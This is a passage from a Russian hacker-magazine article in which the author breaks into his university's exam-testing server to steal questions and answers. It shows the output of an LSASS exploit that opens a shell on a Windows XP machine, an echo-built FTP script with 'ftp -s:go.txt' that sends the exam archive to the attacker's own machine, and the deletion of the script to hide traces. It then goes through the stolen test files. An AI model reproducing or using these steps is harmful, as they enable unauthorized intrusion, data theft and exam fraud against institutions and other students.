Зачет!

CyberAnt (Sation@yandex.ru)

Хакер, номер #089, стр. 089-056-2

Кратко опишу используемые параметры. 0 — тип цели (в нашем случае - WinXp+Sp1). 10.2.100.2 — IP цели. 3333 — <bindport>. Сплоит выполнился успешно, и появилось сообщение:

[*] Target: IP: 10.2.100.2: OS: WinXP Professional [universal] lsass.exe

[*] Connecting to 10.2.100.2:445 ... OK

[*] Attacking ... OK

Далее я просто подтельнетился к этой тачке на 3333 порт и увидел сообщение:

Microsoft Windows XP [Версия 5.1.2600]

(С) Корпорация Майкрософт, 1985-2001.

C:\windows\system32\>

Вот и отлично!

[поднимаем FTP]

Пройдясь по папкам на диске C:, ничего интересного найти не удалось, зато на диске D: находилась папка с закономерным названием TESTS и rar-архив с таким же именем - по-видимому, резервная копия. Решено было срочно слить себе архив. Расшаривать диски на серваке не хотелось, так как это могло вызвать лишние подозрения, даже у нерадивого админа. Поэтому я заюзал FTP-сервер. Для этого был быстро настроен и запущен Pablos FTP server, указана рабочая директория, имя пользователя и пароль — student. После этого я перешел в директорию TESTS и в консоли выполнил команду

echo open 10.3.100.8>go.txt&&echo student>>go.txt&&echo student>>go.txt,

создав тем самым на атакуемой тачке текстовый файл с именем go и содержимым

open 10.3.100.8

sudent

student,

где 10.3.100.8 — IP моего компа.

Далее я законектил удаленный компьютер к себе на FTP командой:

C:\Program files>ftp -s:go.txt

Просмотрев лог-файл FTP сервака, я убедился, что соединение прошло удачно.

Командой send переслал себе в рабочую директорию архив TESTS.rar. Его просмотр подтвердил, что это полная копия папки TESTS.

Командой del go.txt были удалены следы деятельности, и содержимое успешно отправлено на флеш-карту.

Полдела успешно выполнено - осталось изучить саму тестирующую систему и вопросы, подготовленные преподом для экзамена. С самыми лучшими надеждами я отправился домой.

[тестирующая система в разрезе]

Распаковав архив, я удивился: размер папки занимал около 950 Мб. Внутри оказалось все необходимое для установления этой тестирующей системы на любой компьютер, а именно: Apache, база данных MySQL, куча различных сетевых утилит, сервер, клиент и редактор системы тестирования. Сначала я запустил клиент и увидел знакомое с консультации окошко, где нужно было указать IP сервера для подключения. Выпадающий список Ф.И.О. и групп был пуст. На этом изучение клиентской части было завершено. На очереди был следующий редактор. Запустив его, я сразу понял, что вся эта система наверняка написана студентами старших курсов. Интерфейс редактора был просто ужасен: множество маленьких окон в одном, какой-то экзотический шрифт, а при развороте на весь экран бедный редактор вообще зависал, не говоря уже о кнопочках, которые на моем мониторе с разрешением 1600x1200 куда-то просто пропадали или отображались наполовину. Нащупав в строке меню пункт "отрыть", я увидел, что редактор переваривает файлы формата *.tqf. С таким расширением они были быстро найдены. Файлов оказалось порядка 40 штук, и каждый назывался, как соответствующий раздел учебной программы. Скормив один из таких файлов редактору, я увидел все его содержимое: 40 вопросов с вариантами ответов. Здесь же можно было указывать, какие из вариантов ответов являются верными. Каково же было мое удивление, когда я увидел, что многие ответы помечены как правильные, хотя на деле таковыми не являются! Теперь стало понятно, почему препод так яростно всех заверял, что 100% на тестировании получить невозможно:). На этом, конечно, можно было уже остановиться. Есть вопросы, есть ответы — садись и учи простую комбинацию вопрос-ответ. Так и сделали некоторые из моих одногруппнков, особенно женского пола. Как показали подсчеты, всего в системе было около 1000 вопросов, у каждого - по 5-7 вариантов ответов. Лично мне выучить столько комбинаций вопросов-ответов не представлялось возможным. Нужно было что-то делать, но что?